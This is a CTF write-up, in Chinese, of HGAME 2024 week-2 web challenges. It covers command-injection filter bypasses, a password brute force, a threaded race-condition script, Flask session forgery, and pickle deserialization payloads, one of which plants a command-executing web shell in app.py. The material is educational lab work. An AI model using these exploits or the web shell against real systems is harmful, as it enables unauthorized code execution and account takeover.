HGAME 2024 WEEK 2 wp

Web(部分)

前言

HGAME week2 直接上难度了,暂时只掌握了三道

还有两道分别是java的堆叠注入 以及 go的SSTI+XSS

What the cow say?

1
描述:the cow want to tell you something
1
2
通过描述 以及查看题目 以为是xss或者sql又或者SSTI的东西  
fuzz后发现居然是RCE 也是绝的

反引号RCE 且存在waf 需要进行绕过

image-20240217114418451

在根目录下存在 flag_is_here
尝试cat读取时发现有waf
cat 和 flag 都被过滤了 且flag_is_here 是一个文件目录
目录下存在flag_c0w54y

cat 可以使用 转义符绕过 或者更换其他命令查看
flag可以使用单双引号隔开或占位符从而达到不被waf匹配的效果

image-20240217114903310

Select More Courses

1
2
3
4
5
描述:
ma5hr00m wants to take more courses, but he may be racing against time. Can you help him? (数据库初始化需要时间,请稍作等待)

提示1
可参考的弱密码字典:https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt

通过描述 我们可知道 用户名 ma5hr00m
同时给了我们密码字典

image-20240217202606289

使用bp intruder模块 加载字典

image-20240217205148810

根据返回包的状态码以及返回长度 很显然
password 是 qwert123

image-20240217203028409

一开始 去自主选课 还以为和 Week1 Select Courses 类似
由于只有一门课程 尝试bp intruder模块 直接发包 发现 并没选择上课程

image-20240217205030580

看来还得从 选课扩学分申请 做文章

image-20240217205243566

好吧 还给了 提示 Race against time!

image-20240217210337649

这个我是真的想笑 我懵了 一直跑 扩学分申请 一直没提示 一直跑
后面去看一下 选课系统 绷不住

image-20240217210537820

1
跑了3827分 直接选 然后点选完了即可获取flag

同时看官方wp 附上官方的解释及python脚本

登⼊系统后进⼊ /expand 路由,根据提⽰ race against time ,并发POST请求 /api/expand 接⼝,利⽤此处存在的条件竞争漏洞,可实现拓展学分上限,然后选择对应课程获取flag。

利⽤条件竞争可使⽤BurpSuite⾃带的Intruder模块,也可以⾃⾏编写脚本实现,以下为⼀个可供参考的利⽤此处漏洞的python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import threading

def send_request():
url = "http://139.196.183.57:32368/api/expand"
headers = {
"Host": "139.196.183.57:32368",
"Connection": "keep-alive",
"Content-Length": "23",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
"Content-Type": "application/json",
"Accept": "*/*",
"Origin": "http://139.196.183.57:32368",
"Referer": "http://139.196.183.57:32368/expand",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh; q=0.9",
"Cookie": "session=MTcwNzEwNzQzM3xEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQW9BQ0cxaE5XaHlNREJ0fHOdF2Z4AqqV3oV6z2EPpM2zyz1UOPBTtu69oB8qnaWM"
}
payload = {"username": "ma5hr00m"}

while True:
try:
response = requests.post(url, headers=headers, json=payload)
print(f"Response: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")

# 创建50个线程并发发送请求
threads = []
for _ in range(50):
thread = threading.Thread(target=send_request)
thread.start()
threads.append(thread)

# 等待所有线程完成
for thread in threads:
thread.join()

myflask

1
描述:善用搜索引擎,容器中的 Python 版本为 3.11

访问题目环境得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
session['username'] = 'guest'
return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
if not session:
return 'There is no session available in your client :('
if request.method == 'GET':
return 'You are {} now'.format(session['username'])

# For POST requests from admin
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'

if __name__=='__main__':
app.run(debug=True, host="0.0.0.0")

考察知识点
flask session 伪造
pickle 反序列化 RCE

flask session 伪造

1
2
由currentTime = currentDateAndTime.strftime("%H%M%S")
得flask的SECRET_KEY是根据脚本执行(靶机创建)时的时间生成格式为时分秒

根据获取 cookie 的 session

1
eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZdDX2A.UfKBo635rJcG50tQLzAJ6bhcqko

使用flask_unsign配合纯6位数字字典进行爆破

1
flask-unsign  --unsign --cookie "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZdDX2A.UfKBo635rJcG50tQLzAJ6bhcqko" --no-literal-eval --wordlist 6-digits-000000-999999.txt

image-20240218000454860

使用[flask-session-cookie-manager](noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder (github.com))验证密钥且伪造cookie

image-20240218000954784

1
eyJ1c2VybmFtZSI6ImFkbWluIn0.ZdDaMw.IKzG8y5QCWSap0WOQxQxSasO6s4

更换cookie 访问 /flag 可得

image-20240218001546912

pickle 反序列化 RCE

1
2
3
4
5
6
根据   pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'

同时也给我们提示这里尝试触发RCE
由此得出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import base64
from urllib.parse import urlencode

class pickleRce:
def __reduce__(self):
return (open,('/flag','r'))


payload = base64.b64encode(pickle.dumps(pickleRce()))
post_parms = {'pickle_data':payload}
print(urlencode(post_parms))
# pickle_data=gASVHwAAAAAAAACMAmlvlIwEb3BlbpSTlIwFL2ZsYWeUjAFylIaUUpQu

image-20240218003222282

官方wp学习

系统级 getshell (带回显)

Flask 项目 debug 模式打开后⽀持自动重载

使用pickle 反序列化 RCE读取 /proc/self/cmdline ,确定服务器上 flask 脚本名称为app.py

image-20240218003717486

编写带命令执行功能的 flask 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
from flask import Flask, session, request, send_file

app = Flask(__name__)

@app.route('/cmd', methods=['POST'])
def mycmd():
handle = os.popen(request.form.get('cmd'))
ret = handle.read()
handle.close()
return ret

if __name__ == '__main__':
app.run(debug=True, host="0.0.0.0")

将以上脚本 base64 编码,并生成写入文件的 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pickle
import base64
from urllib.parse import urlencode

class myflaskrce():
def __reduce__(self):
# 这里返回一个元组,包含eval函数和一个经过base64编码的命令字符串
return (eval, ("__import__('os').system('echo aW1wb3J0IG9zCmZyb20gZmxhc2sgaW1wb3J0IEZsYXNrLCBzZXNzaW9uLCByZXF1ZXN0LCBzZW5kX2ZpbGUKCmFwcCA9IEZsYXNrKF9fbmFtZV9fKQoKQGFwcC5yb3V0ZSgnL2NtZCcsIG1ldGhvZHM9WydQT1NUJ10pCmRlZiBteWNtZCgpOgogICAgaGFuZGxlID0gb3MucG9wZW4ocmVxdWVzdC5mb3JtLmdldCgnY21kJykpICAKICAgIHJldCA9IGhhbmRsZS5yZWFkKCkgIAogICAgaGFuZGxlLmNsb3NlKCkKICAgIHJldHVybiByZXQKCmlmIF9fbmFtZV9fPT0nX19tYWluX18nOgogICAgYXBwLnJ1bihkZWJ1Zz1UcnVlLCBob3N0PSIwLjAuMC4wIikK |base64 -d > app.py')",))

# 创建一个myflaskrce类的实例
malicious_object = myflaskrce()

# 使用pickle模块将对象序列化为字节串,并使用base64进行编码
payload = base64.b64encode(pickle.dumps(malicious_object))

# 创建一个字典,用于存储表单数据
post_params = {'pickle_data': payload}

# 使用urlencode函数对表单数据进行URL编码
encoded_params = urlencode(post_params)

# 打印编码后的表单数据
print(encoded_params)

image-20240218011429027

image-20240218011344391

不知道是不是hackbar 还是环境坏了的问题 重启一下环境 使用bp 然后写进/cmd 也成功RCE


search4member与梅开二度

1
2
一个是有关java的堆叠注入 一个是有关go的ssti xss
(暂未吃透)

推荐官方wp进行学习以及HGAME 2024 WEEK2 Web方向题解全